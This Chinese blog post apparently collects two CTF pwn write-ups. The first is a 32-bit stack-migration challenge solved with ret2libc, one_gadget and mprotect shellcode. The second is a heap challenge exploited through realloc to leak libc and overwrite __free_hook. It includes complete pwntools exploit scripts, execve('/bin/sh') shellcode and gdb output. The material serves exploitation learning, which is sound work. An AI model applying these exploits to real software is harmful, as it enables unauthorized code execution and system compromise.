这是我前年写的两个很简单的 pwn 题,很常规的栈迁移思路,我现在都看不懂了,2333。得记下来以后没事了看。
第一个
这个思路是自己做一道很简单的题时一步一步边优化边想的,顺着这个思路加深了对栈迁移的理解,分享一下。但本人文笔实在垃圾,各位看官有觉得不对劲的请在评论区留言
题目链接如下(文末也放了链接
程序大致分析
保护措施如此这般:
└> checksec migration
[*] '/home/pic/Desktop/hitcon/migration'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
程序如此这般:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+0h] [ebp-28h]
if ( count != 1337 )
exit(1);
++count;
setvbuf(_bss_start, 0, 2, 0);
puts("Try your best :");
return read(0, &buf, 0x40u);
}
程序很干净,存在read
函数的溢出,且溢出字节为 0x28 即 40 ,但不像 64 位有很好用的万能 gadget ,之前做过类似的题,记得套路如下:
- 通过 read 函数把 rop 链读到 bss 端
- 构造 bss 端
- 迁移到 bss 端执行
经过大致分析常规套路,应该是要有三次 shellcode ,因为构造 bss 端时必然无法执行任何操作,但其实在构造 bss 时候可以把第三次的起 shell 合并,即下方的 exp
带栈迁移的 ret2libc
from pwn import *
context.log_level = 'debug'
io = process('migration')
elf = ELF('migration')
libc = elf.libc
got = elf.got["puts"]
io.recvuntil('\n')
payload1 = 'a'*40+p32(0x804A008+0x28+0x500)+p32(0x80484EA)+p32(got)
io.send(payload1)
real = u32(io.recv(4))
base = real - libc.symbols["puts"]
one_gadget = base+0x3ac69
payload2 = p32(0)+p32(one_gadget)+p32(0)*8+p32(0x804A008+0x500)+p32(0x8048504)
io.send(payload2)
io.interactive()
其中one_gadget
地址
▶ one_gadget /lib/i386-linux-gnu/libc.so.6
...
0x3ac69 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
...
看一下第一次的 payload :(填入的地址就是栈中)
- 将 ebp 改为
0x804A008+0x28+0x500
,其中 0x28 是因为 ebp 在 read 时决定最重要的参数–地址0x80484f4 <main+73>: lea eax,[ebp-0x28] 0x80484f7 <main+76>: push eax 0x80484f8 <main+77>: push 0x0 0x80484fa <main+79>: call 0x8048380 ; read 函数
0x80484EA
地址是call puts
,之后的排布就是 put_got 参数了,能直接把 puts 地址泄露出来,便于后边one_gadget
的计算.text:080484E5 push offset s ; "Try your best :" .text:080484EA call puts .text:080484EF add esp, 4 .text:080484F2 push 40h ; nbytes .text:080484F4 lea eax, [ebp+buf] .text:080484F7 push eax ; buf .text:080484F8 push 0 ; fd .text:080484FA call read
之后的第二次 payload (填写地址是0x804A008+0x500
就是因为之前第一次 payload 的 ebp 变化引起的):
- 前 40 字节没什么说的,就是把 one_gadget 填到正确位置,方便起 shell
- 之后的
p32(0x804A008+0x500)
就是本轮的 ebp 了 - 之后
p32(0x8048504)
是.text:08048504 leave .text:08048505 retn
程序溢出时ebp esp eip
三个寄存器状态
ebp = 0x804A008 + 0x500
esp 无法直接控制
eip 无法直接控制
之后的 leave
片段
ebp = 0
esp = 0x804A008 + 0x500 + 4
eip 无法直接控制
经过 ret 变成了
ebp = 0
esp = 0x804A008 + 0x500 + 8
eip = one_gadget
可以看到 ret 地址填写的就是 one_gadget 地址,但是因为本题 bss 端地址固定,所以完全可以通过 mprotect 函数来修改 bss 可执行权限,达到向 bss 端写 shellcode 并执行的效果, exp 如下
带 mprotect 的 ret2shellcode
from pwn import *
context.log_level = 'debug'
io = process('migration')
elf = ELF('migration')
libc = elf.libc
got = elf.got["puts"]
io.recvuntil('\n')
payload1 = 'a'*40+p32(0x804A008+0x28+0x500)+p32(0x80484EA)+p32(got)
io.send(payload1)
real = u32(io.recv(4))
base = real - libc.symbols["puts"]
mp = base + libc.symbols['mprotect']
one = base+0x3ac69
shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"
payload2 = shellcode+'a'*(40-len(shellcode))+p32(0)+p32(mp)+p32(0x804A008+0x500)+p32(0x804A000)+p32(0x1000)+p32(7)
io.send(payload2)
io.interactive()
第一轮的 payload 没变,把第二轮的变成了
- 前 40 字节是 shellcode 和 a 填充
- ebp 可以随意,用不到
- mprotect 函数地址
- ret 地址填 bss ,也即 shellcode 地址
- mprotect 用到的参数,达到
mprotect(0x804A000,0x1000,7)
的效果
执行 mprotect 之前
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /home/pic/Desktop/hitcon/migration
0x8049000 0x804a000 r--p 1000 0 /home/pic/Desktop/hitcon/migration
0x804a000 0x804b000 rw-p 1000 1000 /home/pic/Desktop/hitcon/migration
......
执行 mprotect 之后
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /home/pic/Desktop/hitcon/migration
0x8049000 0x804a000 r--p 1000 0 /home/pic/Desktop/hitcon/migration
0x804a000 0x804b000 rwxp 1000 1000 /home/pic/Desktop/hitcon/migration
有了可执行权限,跳转过去执行就 get shell 了
直接填入
from pwn import *
context.log_level = 'debug'
io = process('migration')
elf = ELF('migration')
libc = elf.libc
got = elf.got["puts"]
io.recvuntil('\n')
payload1 = 'a'*40+p32(0x804A008+0x28+0x500)+p32(0x80484EA)+p32(got)
io.send(payload1)
real = u32(io.recv(4))
base = real - libc.symbols["puts"]
one = base+0x3ac69
io.send(p32(0)*11+p32(one))
io.interactive()
这招成功的核心在于第一次 payload 填的 ret 地址是 0x80484EA
等于执行了一遍下边的 leave ret
,让之前填入的 ebp 发挥了作用,有点困惑的可以自行调试深入体会,在此不予以赘述
总结
经过上方的分析大家应该看到 ebp 用好对 exp 的编写和题目的理解有多大用处,尤其是最后一个。感觉自己之前一直有一个误区,就是填 ebp 就一定要填 leave_ret
gadget ,后来发现不一定,一定要注意汇编前后语境,不遇到 ret 坚决不放松警惕。而且有时候把 main 函数中间某一段当作 ret 地址可以达到很多单纯构造 rop 链达不到的效果
第二个
最近佛系找题做,突然找到了一道去年 hitctf 的题,看网上也没有 writeup ,于是决定好好分析一波.太菜了,前后花了 5 个小时吧,服了,这题学了很多,分享出来
写在前面的程序
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char* a = malloc(0x80);
char* b = malloc(0x10);
char* c = malloc(0x20);
char* d = malloc(0x20);
char* e = malloc(1);
a = realloc(a,0x20);
b = realloc(b,0x20); //------->断点A
c = realloc(c,0x20); //------->断点B
d = realloc(c,0);
}
本程序意思便是 realloc 会重新排步堆空间,这里只介绍一下 a 和 b 块,剩下的可以自行调试.断到断点 A 处查看变化
pwndbg> x/10gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000031
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000061
0x602040: 0x0000000000000000 0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x602030 ◂— 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> p a
$5 = 0x602010 ""
pwndbg> p b
$2 = 0x6020a0 ""
可以看到realloc(a,0x20)
只用到了 0x31 字节,之前 malloc 剩下的直接扔到了 fastbin 里,被 free 掉.这里注意一下 b 指向 0x6020a0 .单步运行断在 B 处查看变化
pwndbg> p b
$3 = 0x602140 ""
pwndbg> x/8gx 0x602140-0x10
0x602130: 0x0000000000000000 0x0000000000000031
0x602140: 0x0000000000000000 0x0000000000000000
0x602150: 0x0000000000000000 0x0000000000000000
0x602160: 0x0000000000000000 0x0000000000020ea1
pwndbg> bins
fastbins
0x20: 0x602090 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x602030 ◂— 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
这里 realloc 一个比之前大的会使之前的 b 直接被 free 掉,重新一个 malloc 一个合适的返给 b .
前言结束
分析思路
这题其实挺反常规的,程序的 bss 端 ptr 指向存放内容头,之后的内容头中有指向内容的指针,大致长这样
bss->
** 0x31
title name
time() chunk_ptr
size **
chk_ptr -> content
在 edit 中有一个不太明显的堆溢出漏洞
if ( *((_DWORD *)ptr[v2] + 8) != v3 )
{
v1 = ptr[v2];
v1[3] = realloc(*((void **)ptr[v2] + 3), v3 + 1); //realloc()函数,漏洞利用关键点
}
puts("new message:");
return read(0, *((void **)ptr[v2] + 3), *((signed int *)ptr[v2] + 8)); //漏洞点, message size 未更新
}
泄漏 libc
from pwn import *
p = process('./pwn2',aslr=2)
elf = ELF("./pwn2", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"
def new(title,name,size,message):
p.sendafter('Input your choice:','1')
p.sendafter('title:\n',title)
p.sendafter('name:\n',name)
p.sendafter('message size:\n',str(size))
p.sendafter('message:\n',message)
def edit(ind,size,message):
p.sendafter('Input your choice:','2')
p.sendafter('Which one?\n',str(ind))
p.sendafter('message size:\n',str(size))
p.sendafter('new message:\n',message)
def show(ind):
p.sendafter('Input your choice:','3')
p.sendafter('Which one?\n',str(ind))
def free(ind):
p.sendafter('Input your choice:','4')
p.sendafter('Which one?\n',str(ind))
这是框架函数,之后一个
new('a','a',0x80,'a'*0x80)
让他 malloc 出来一块不属于 fastbin 的堆,再
new('b','b',1,'b')
防止topchunk
吞并上一个,然后编辑edit(0,0x90,'1'*8)
让新的 size 和旧的不等触发
v1[3] = realloc(*((void **)ptr[v2] + 3), v3 + 1);
这样我们之前的第一个块就到了unsortedbin
中,然后在new('d','d',0x80,'d'*8)
一块,这样子内容头就用的是 unsortedbin ,填入 title 和 name 时候占用的就是之前 unsortedbin 残留的 fd 和 bk 了,填充一个字节之后 show(2)
让它泄漏出来减去偏移字节,这样就得到了 libc
getshell
有了 libc 后基本思路就确定了,修改内容头使其指向__free_hook
,并直接 edit 为 one_gadget ,之后 free 触发 getshell ,所以关键便是如何溢出覆盖内容头
首先
new('a','a',0xf7,'a'*0x20)
edit(3,0xb8,'0')
构造一个堆,并编辑,使得该块底下有一块可控范围,并控制在 0x30 的 fastbin 中,便于能溢出到内容头,之后
new('d','d',1,'d')
这个块就中招了,我们能够溢出它,之后填入我们精心构造的堆
edit(3,0xb8,'\x01'*0xc8+p64(0x31)*4+p64(libc.symbols['__free_hook'] + leak)+p64(0x51))
其中的排步效果如下
0x1474310: 0x0101010101010101 0x0000000000000031
0x1474320: 0x0000000000000031 0x0000000000000031
0x1474330: 0x0000000000000031 0x00007f15621627a8
0x1474340: 0x0000000000000051 0x0000000000020cc1
之后就是编辑为 one_gadget 和触发了,这里要注意一定要和自己填入的 size 一样,不然又触发v1[3] = realloc(*((void **)ptr[v2] + 3), v3 + 1);
,或大或小都不会成功,大的话重新 malloc ,小的话有逃不过检查
edit(4,0x51,p64(one))
free(0)
[+] Starting local process './pwn2': pid 6300
0x7f507bfa2000
[*] Switching to interactive mode
$
成功
完整exp
from pwn import *
p = process('./pwn2',aslr=2)
elf = ELF("./pwn2", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"
def new(title,name,size,message):
p.sendafter('Input your choice:','1')
p.sendafter('title:\n',title)
p.sendafter('name:\n',name)
p.sendafter('message size:\n',str(size))
p.sendafter('message:\n',message)
def edit(ind,size,message):
p.sendafter('Input your choice:','2')
p.sendafter('Which one?\n',str(ind))
p.sendafter('message size:\n',str(size))
p.sendafter('new message:\n',message)
def show(ind):
p.sendafter('Input your choice:','3')
p.sendafter('Which one?\n',str(ind))
def free(ind):
p.sendafter('Input your choice:','4')
p.sendafter('Which one?\n',str(ind))
new('a','a',0x80,'a'*0x80)
new('b','b',1,'b')
edit(0,0x90,'1'*8)
new('d','d',0x80,'d'*8)
show(2)
p.recvuntil('Title: ')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))-0x3c4b64
print hex(leak)
new('a','a',0xf7,'a'*0x20)
edit(3,0xb8,'0')
new('d','d',1,'d')
edit(3,0xb8,'\x01'*0xc8+p64(0x31)*4+p64(libc.symbols['__free_hook'] + leak)+p64(0x51))
one=leak+0x4526a
edit(4,0x51,p64(one))
free(0)
p.interactive()
最后构造出来的块太恶心了,但还好成功了,本题难点就是内容头数据结构和 realloc 的理解了,剩下没什么难点,算是一个比较考构造的题